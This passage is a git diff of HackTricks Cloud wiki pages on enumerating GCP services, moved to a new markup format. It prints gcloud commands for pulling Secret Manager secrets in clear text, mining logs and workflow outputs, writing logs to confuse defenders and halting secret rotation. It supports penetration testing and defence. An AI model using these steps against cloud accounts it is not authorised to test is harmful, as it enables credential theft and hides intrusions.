+Regarding **rotation**, it's possible to configure **messages to be sent to pub-sub every number of days**, the code listening to those messages can **rotate the secret**.
+
+It's possible to configure a day for **automatic deletion**, when the indicated day is **reached**, the **secret will be automatically deleted**.
+
+### Enumeration
+
+```bash
+# First, list the entries
+gcloud secrets list
+gcloud secrets get-iam-policy <secret_name>
+
+# Then, pull the clear-text of any version of any secret
+gcloud secrets versions list <secret_name>
+gcloud secrets versions access 1 --secret="<secret_name>"
+```
+
+### Privilege Escalation
+
+In the following page you can check how to **abuse secretmanager permissions to escalate privileges.**
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-secretmanager-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-secret-manager-persistence.md
+{{#endref}}
+
+### Rotation misuse
+
+An attacker could update the secret to **stop rotations** (so it won't be modified), or **make rotations much less often** (so the secret won't be modified) or to **publish the rotation message to a different pub/sub**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md
similarity index 53%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md
index dac57f94c..e38244da5 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md
@@ -1,19 +1,6 @@
 # GCP - Security Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,14 +10,14 @@ Google Cloud Platform (GCP) Security encompasses a **comprehensive suite of tool
 
 The Google Cloud Platform (GCP) Security Command Center (SCC) is a **security and risk management tool for GCP** resources that enables organizations to gain visibility into and control over their cloud assets. It helps **detect and respond to threats** by offering comprehensive security analytics, **identifying misconfigurations**, ensuring **compliance** with security standards, and **integrating** with other security tools for automated threat detection and response.
 
-* **Overview**: Panel to **visualize an overview** of all the result of the Security Command Center.
-* Threats: \[Premium Required] Panel to visualize all the **detected threats. Check more about Threats below**
-* **Vulnerabilities**: Panel to **visualize found misconfigurations in the GCP account**.
-* **Compliance**: \[Premium required] This section allows to **test your GCP environment against several compliance checks** (such as PCI-DSS, NIST 800-53, CIS benchmarks...) over the organization.
-* **Assets**: This section **shows all the assets being used**, very useful for sysadmins (and maybe attacker) to see what is running in a single page.
-* **Findings**: This **aggregates** in a **table findings** of different sections of GCP Security (not only Command Center) to be able to visualize easily findings that matters.
-* **Sources**: Shows a **summary of findings** of all the different sections of GCP security **by sectio**n.
-* **Posture**: \[Premium Required] Security Posture allows to **define, assess, and monitor the security of the GCP environment**. It works by creating policy that defines constraints or restrictions that controls/monitor the resources in GCP. There are several pre-defined posture templates that can be found in [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy)
+- **Overview**: Panel to **visualize an overview** of all the result of the Security Command Center.
+- Threats: \[Premium Required] Panel to visualize all the **detected threats. Check more about Threats below**
+- **Vulnerabilities**: Panel to **visualize found misconfigurations in the GCP account**.
+- **Compliance**: \[Premium required] This section allows to **test your GCP environment against several compliance checks** (such as PCI-DSS, NIST 800-53, CIS benchmarks...) over the organization.
+- **Assets**: This section **shows all the assets being used**, very useful for sysadmins (and maybe attacker) to see what is running in a single page.
+- **Findings**: This **aggregates** in a **table findings** of different sections of GCP Security (not only Command Center) to be able to visualize easily findings that matters.
+- **Sources**: Shows a **summary of findings** of all the different sections of GCP security **by sectio**n.
+- **Posture**: \[Premium Required] Security Posture allows to **define, assess, and monitor the security of the GCP environment**. It works by creating policy that defines constraints or restrictions that controls/monitor the resources in GCP. There are several pre-defined posture templates that can be found in [https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy](https://cloud.google.com/security-command-center/docs/security-posture-overview?authuser=2#predefined-policy)
 
 ### **Threats**
 
@@ -38,16 +25,15 @@ From the perspective of an attacker, this is probably the **most interesting fea
 
 There are 3 types of threat detection mechanisms:
 
-* **Event Threats**: Findings produced by matching events from **Cloud Logging** based on **rules created** internally by Google. It can also scan **Google Workspace logs**.
-  * It's possible to find the description of all the [**detection rules in the docs**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
-* **Container Threats**: Findings produced after analyzing low-level behavior of the kernel of containers.
-* **Custom Threats**: Rules created by the company.
+- **Event Threats**: Findings produced by matching events from **Cloud Logging** based on **rules created** internally by Google. It can also scan **Google Workspace logs**.
+  - It's possible to find the description of all the [**detection rules in the docs**](https://cloud.google.com/security-command-center/docs/concepts-event-threat-detection-overview?authuser=2#how_works)
+- **Container Threats**: Findings produced after analyzing low-level behavior of the kernel of containers.
+- **Custom Threats**: Rules created by the company.
 
-It's possible to find recommended responses to detected threats of both types in [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event\_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response)
+It's possible to find recommended responses to detected threats of both types in [https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response](https://cloud.google.com/security-command-center/docs/how-to-investigate-threats?authuser=2#event_response)
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Get a source
 gcloud scc sources describe <org-number> --source=5678
@@ -59,62 +45,48 @@ gcloud scc notifications list <org-number>
 # Get findings (if not premium these are just vulnerabilities)
 gcloud scc findings list <org-number>
 ```
-{% endcode %}
 
 ### Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-security-post-exploitation.md" %}
-[gcp-security-post-exploitation.md](../gcp-post-exploitation/gcp-security-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-security-post-exploitation.md
+{{#endref}}
 
 ## Detections and Controls
 
-* **Chronicle SecOps**: An advanced security operations suite designed to help teams increase their speed and impact of security operations, including threat detection, investigation, and response.
-* **reCAPTCHA Enterprise**: A service that protects websites from fraudulent activities like scraping, credential stuffing, and automated attacks by distinguishing between human users and bots.
-* **Web Security Scanner**: Automated security scanning tool that detects vulnerabilities and common security issues in web applications hosted on Google Cloud or another web service.
-* **Risk Manager**: A governance, risk, and compliance (GRC) tool that helps organizations assess, document, and understand their Google Cloud risk posture.
-* **Binary Authorization**: A security control for containers that ensures only trusted container images are deployed on Kubernetes Engine clusters according to policies set by the enterprise.
-* **Advisory Notifications**: A service that provides alerts and advisories about potential security issues, vulnerabilities, and recommended actions to keep resources secure.
-* **Access Approval**: A feature that allows organizations to require explicit approval before Google employees can access their data or configurations, providing an additional layer of control and auditability.
-* **Managed Microsoft AD**: A service offering managed Microsoft Active Directory (AD) that allows users to use their existing Microsoft AD-dependent apps and workloads on Google Cloud.
+- **Chronicle SecOps**: An advanced security operations suite designed to help teams increase their speed and impact of security operations, including threat detection, investigation, and response.
+- **reCAPTCHA Enterprise**: A service that protects websites from fraudulent activities like scraping, credential stuffing, and automated attacks by distinguishing between human users and bots.
+- **Web Security Scanner**: Automated security scanning tool that detects vulnerabilities and common security issues in web applications hosted on Google Cloud or another web service.
+- **Risk Manager**: A governance, risk, and compliance (GRC) tool that helps organizations assess, document, and understand their Google Cloud risk posture.
+- **Binary Authorization**: A security control for containers that ensures only trusted container images are deployed on Kubernetes Engine clusters according to policies set by the enterprise.
+- **Advisory Notifications**: A service that provides alerts and advisories about potential security issues, vulnerabilities, and recommended actions to keep resources secure.
+- **Access Approval**: A feature that allows organizations to require explicit approval before Google employees can access their data or configurations, providing an additional layer of control and auditability.
+- **Managed Microsoft AD**: A service offering managed Microsoft Active Directory (AD) that allows users to use their existing Microsoft AD-dependent apps and workloads on Google Cloud.
 
 ## Data Protection
 
-* **Sensitive Data Protection**: Tools and practices aimed at safeguarding sensitive data, such as personal information or intellectual property, against unauthorized access or exposure.
-* **Data Loss Prevention (DLP)**: A set of tools and processes used to identify, monitor, and protect data in use, in motion, and at rest through deep content inspection and by applying a comprehensive set of data protection rules.
-* **Certificate Authority Service**: A scalable and secure service that simplifies and automates the management, deployment, and renewal of SSL/TLS certificates for internal and external services.
-* **Key Management**: A cloud-based service that allows you to manage cryptographic keys for your applications, including the creation, import, rotation, use, and destruction of encryption keys. More info in:
+- **Sensitive Data Protection**: Tools and practices aimed at safeguarding sensitive data, such as personal information or intellectual property, against unauthorized access or exposure.
+- **Data Loss Prevention (DLP)**: A set of tools and processes used to identify, monitor, and protect data in use, in motion, and at rest through deep content inspection and by applying a comprehensive set of data protection rules.
+- **Certificate Authority Service**: A scalable and secure service that simplifies and automates the management, deployment, and renewal of SSL/TLS certificates for internal and external services.
+- **Key Management**: A cloud-based service that allows you to manage cryptographic keys for your applications, including the creation, import, rotation, use, and destruction of encryption keys. More info in:
 
-{% content-ref url="gcp-kms-enum.md" %}
-[gcp-kms-enum.md](gcp-kms-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-kms-enum.md
+{{#endref}}
 
-* **Certificate Manager**: A service that manages and deploys SSL/TLS certificates, ensuring secure and encrypted connections to your web services and applications.
-* **Secret Manager**: A secure and convenient storage system for API keys, passwords, certificates, and other sensitive data, which allows for the easy and secure access and management of these secrets in applications. More info in:
+- **Certificate Manager**: A service that manages and deploys SSL/TLS certificates, ensuring secure and encrypted connections to your web services and applications.
+- **Secret Manager**: A secure and convenient storage system for API keys, passwords, certificates, and other sensitive data, which allows for the easy and secure access and management of these secrets in applications. More info in:
 
-{% content-ref url="gcp-secrets-manager-enum.md" %}
-[gcp-secrets-manager-enum.md](gcp-secrets-manager-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-secrets-manager-enum.md
+{{#endref}}
 
 ## Zero Trust
 
-* **BeyondCorp Enterprise**: A zero-trust security platform that enables secure access to internal applications without the need for a traditional VPN, by relying on verification of user and device trust before granting access.
-* **Policy Troubleshooter**: A tool designed to help administrators understand and resolve access issues in their organization by identifying why a user has access to certain resources or why access was denied, thereby aiding in the enforcement of zero-trust policies.
-* **Identity-Aware Proxy (IAP)**: A service that controls access to cloud applications and VMs running on Google Cloud, on-premises, or other clouds, based on the identity and the context of the request rather than by the network from which the request originates.
-* **VPC Service Controls**: Security perimeters that provide additional layers of protection to resources and services hosted in Google Cloud's Virtual Private Cloud (VPC), preventing data exfiltration and providing granular access control.
-* **Access Context Manager**: Part of Google Cloud's BeyondCorp Enterprise, this tool helps define and enforce fine-grained access control policies based on a user's identity and the context of their request, such as device security status, IP address, and more.
+- **BeyondCorp Enterprise**: A zero-trust security platform that enables secure access to internal applications without the need for a traditional VPN, by relying on verification of user and device trust before granting access.
+- **Policy Troubleshooter**: A tool designed to help administrators understand and resolve access issues in their organization by identifying why a user has access to certain resources or why access was denied, thereby aiding in the enforcement of zero-trust policies.
+- **Identity-Aware Proxy (IAP)**: A service that controls access to cloud applications and VMs running on Google Cloud, on-premises, or other clouds, based on the identity and the context of the request rather than by the network from which the request originates.
+- **VPC Service Controls**: Security perimeters that provide additional layers of protection to resources and services hosted in Google Cloud's Virtual Private Cloud (VPC), preventing data exfiltration and providing granular access control.
+- **Access Context Manager**: Part of Google Cloud's BeyondCorp Enterprise, this tool helps define and enforce fine-grained access control policies based on a user's identity and the context of their request, such as device security status, IP address, and more.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md
new file mode 100644
index 000000000..a578f7e4b
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md
@@ -0,0 +1,67 @@
+# GCP - Source Repositories Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
+
+Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code.
+
+Key features of Cloud Source Repositories include:
+
+1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows.
+2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment.
+3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles.
+4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices.
+5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews.
+6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories.
+
+### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
+
+- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background.
+- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**.
+- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms).
+- It's possible to **code & debug from inside GCP**.
+- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled.
+
+### Open In Cloud Shell
+
+It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
+
+<figure><img src="../../../images/image (325).png" alt=""><figcaption></figcaption></figure>
+
+This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised).
+
+### Enumeration
+
+```bash
+# Repos enumeration
+gcloud source repos list #Get names and URLs
+gcloud source repos describe <repo_name>
+gcloud source repos get-iam-policy <repo_name>
+
+# gcloud repo clone
+gcloud source repos clone <REPO NAME>
+gcloud source repos get-iam-policy <REPO NAME>
+... git add & git commit -m ...
+git push --set-upstream origin master
+git push -u origin master
+
+# Access via git
+## To add a SSH key go to https://source.cloud.google.com/user/ssh_keys (no gcloud command)
+git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
+git add, commit, push...
+```
+
+### Privilege Escalation & Post Exploitation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-sourcerepos-privesc.md
+{{#endref}}
+
+### Unauthenticated Enum
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md
new file mode 100644
index 000000000..671c876da
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md
@@ -0,0 +1,31 @@
+# GCP - Spanner Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/)
+
+Fully managed relational database with unlimited scale, strong consistency, and up to 99.999% availability.
+
+```bash
+# Cloud Spanner
+## Instances
+gcloud spanner instances list
+gcloud spanner instances describe <INSTANCE>
+gcloud spanner instances get-iam-policy <INSTANCE>
+
+## Databases
+gcloud spanner databases list --instance <INSTANCE>
+gcloud spanner databases describe --instance <INSTANCE> <db_name>
+gcloud spanner databases get-iam-policy --instance <INSTANCE> <db_name>
+gcloud spanner databases execute-sql --instance <INSTANCE> --sql <sql> <db_name>
+
+## Backups
+gcloud spanner backups list --instance <INSTANCE>
+gcloud spanner backups get-iam-policy --instance <INSTANCE> <backup_name>
+
+## Instance Configs
+gcloud spanner instance-configs list
+gcloud spanner instance-configs describe <name>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md
new file mode 100644
index 000000000..f1ce0c957
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md
@@ -0,0 +1,33 @@
+# GCP - Stackdriver Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## [Stackdriver logging](https://cloud.google.com/sdk/gcloud/reference/logging/)
+
+[**Stackdriver**](https://cloud.google.com/stackdriver/) is recognized as a comprehensive infrastructure **logging suite** offered by Google. It has the capability to capture sensitive data through features like syslog, which reports individual commands executed inside Compute Instances. Furthermore, it monitors HTTP requests sent to load balancers or App Engine applications, network packet metadata within VPC communications, and more.
+
+For a Compute Instance, the corresponding service account requires merely **WRITE** permissions to facilitate logging of instance activities. Nonetheless, it's possible that an administrator might **inadvertently** provide the service account with both **READ** and **WRITE** permissions. In such instances, the logs can be scrutinized for sensitive information.
+
+To accomplish this, the [gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) utility offers a set of tools. Initially, identifying the types of logs present in your current project is recommended.
+
+```bash
+# List logs
+gcloud logging logs list
+
+# Read logs
+gcloud logging read [FOLDER]
+
+# Write logs
+# An attacker writing logs may confuse the Blue Team
+gcloud logging write [FOLDER] [MESSAGE]
+
+# List Buckets
+gcloud logging buckets list
+```
+
+## References
+
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
+- [https://initblog.com/2020/gcp-post-exploitation/](https://initblog.com/2020/gcp-post-exploitation/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md
similarity index 61%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md
index 03e35e3e8..c3c590471 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md
@@ -1,19 +1,6 @@
 # GCP - Storage Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Storage
 
@@ -23,11 +10,11 @@ The bucket can be stored in a region, in 2 regions or **multi-region (default)**
 
 ### Storage Types
 
-* **Standard Storage**: This is the default storage option that **offers high-performance, low-latency access to frequently accessed data**. It is suitable for a wide range of use cases, including serving website content, streaming media, and hosting data analytics pipelines.
-* **Nearline Storage**: This storage class offers **lower storage costs** and **slightly higher access costs** than Standard Storage. It is optimized for infrequently accessed data, with a minimum storage duration of 30 days. It is ideal for backup and archival purposes.
-* **Coldline Storage**: This storage class is optimized for **long-term storage of infrequently accessed data**, with a minimum storage duration of 90 days. It offers the **lower storage costs** than Nearline Storage, but with **higher access costs.**
-* **Archive Storage**: This storage class is designed for cold data that is accessed **very infrequently**, with a minimum storage duration of 365 days. It offers the **lowest storage costs of all GCP storage options** but with the **highest access costs**. It is suitable for long-term retention of data that needs to be stored for compliance or regulatory reasons.
-* **Autoclass**: If you **don't know how much you are going to access** the data you can select Autoclass and GCP will **automatically change the type of storage for you to minimize costs**.
+- **Standard Storage**: This is the default storage option that **offers high-performance, low-latency access to frequently accessed data**. It is suitable for a wide range of use cases, including serving website content, streaming media, and hosting data analytics pipelines.
+- **Nearline Storage**: This storage class offers **lower storage costs** and **slightly higher access costs** than Standard Storage. It is optimized for infrequently accessed data, with a minimum storage duration of 30 days. It is ideal for backup and archival purposes.
+- **Coldline Storage**: This storage class is optimized for **long-term storage of infrequently accessed data**, with a minimum storage duration of 90 days. It offers the **lower storage costs** than Nearline Storage, but with **higher access costs.**
+- **Archive Storage**: This storage class is designed for cold data that is accessed **very infrequently**, with a minimum storage duration of 365 days. It offers the **lowest storage costs of all GCP storage options** but with the **highest access costs**. It is suitable for long-term retention of data that needs to be stored for compliance or regulatory reasons.
+- **Autoclass**: If you **don't know how much you are going to access** the data you can select Autoclass and GCP will **automatically change the type of storage for you to minimize costs**.
 
 ### Access Control
 
@@ -64,12 +51,13 @@ An HMAC key is a type of _credential_ and can be **associated with a service acc
 
 HMAC keys have two primary pieces, an _access ID_ and a _secret_.
 
-*   **Access ID**: An alphanumeric string linked to a specific service or user account. When linked to a service account, the string is 61 characters in length, and when linked to a user account, the string is 24 characters in length. The following shows an example of an access ID:
+- **Access ID**: An alphanumeric string linked to a specific service or user account. When linked to a service account, the string is 61 characters in length, and when linked to a user account, the string is 24 characters in length. The following shows an example of an access ID:
 
-    `GOOGTS7C7FUP3AIRVJTE2BCDKINBTES3HC2GY5CBFJDCQ2SYHV6A6XXVTJFSA`
-*   **Secret**: A 40-character Base-64 encoded string that is linked to a specific access ID. A secret is a preshared key that only you and Cloud Storage know. You use your secret to create signatures as part of the authentication process. The following shows an example of a secret:
+  `GOOGTS7C7FUP3AIRVJTE2BCDKINBTES3HC2GY5CBFJDCQ2SYHV6A6XXVTJFSA`
 
-    `bGoa+V7g/yqDXvKRqq+JTFn4uQZbPiQJo4pf9RzJ`
+- **Secret**: A 40-character Base-64 encoded string that is linked to a specific access ID. A secret is a preshared key that only you and Cloud Storage know. You use your secret to create signatures as part of the authentication process. The following shows an example of a secret:
+
+  `bGoa+V7g/yqDXvKRqq+JTFn4uQZbPiQJo4pf9RzJ`
 
 Both the **access ID and secret uniquely identify an HMAC key**, but the secret is much more sensitive information, because it's used to **create signatures**.
 
@@ -143,39 +131,26 @@ list_bucket_objects('<storage-name>')
 
 In the following page you can check how to **abuse storage permissions to escalate privileges**:
 
-{% content-ref url="../gcp-privilege-escalation/gcp-storage-privesc.md" %}
-[gcp-storage-privesc.md](../gcp-privilege-escalation/gcp-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-storage-privesc.md
+{{#endref}}
 
 ### Unauthenticated Enum
 
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/" %}
-[gcp-storage-unauthenticated-enum](../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-storage-post-exploitation.md" %}
-[gcp-storage-post-exploitation.md](../gcp-post-exploitation/gcp-storage-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../gcp-persistence/gcp-storage-persistence.md" %}
-[gcp-storage-persistence.md](../gcp-persistence/gcp-storage-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-storage-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md
new file mode 100644
index 000000000..1492b3cb3
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md
@@ -0,0 +1,38 @@
+# GCP - Workflows Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Google Cloud Platform (GCP) Workflows** is a service that helps you automate tasks that involve **multiple steps** across Google Cloud services and other web-based services. Think of it as a way to set up a **sequence of actions** that run on their own once triggered. You can design these sequences, called workflows, to do things like process data, handle software deployments, or manage cloud resources without having to manually oversee each step.
+
+### Encryption
+
+Related to encryption, by default the **Google-managed encryption key is use**d but it's possible to make it use a key of by customers.
+
+## Enumeration
+
+> [!CAUTION]
+> You can also check the output of previous executions to look for sensitive information
+
+```bash
+# List Workflows
+gcloud workflows list
+
+# Get info and yaml of an specific workflow
+gcloud workflows describe <workflow-name>
+
+# List executions
+gcloud workflows executions list workflow-1
+
+# Get execution info and output
+gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
+```
+
+### Privesc and Post Exploitation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-workflows-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md
similarity index 68%
rename from pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md
rename to src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md
index c6354c263..9358b40c2 100644
--- a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md
@@ -1,19 +1,6 @@
 # GCP <--> Workspace Pivoting
 
-{% hint style="success" %}
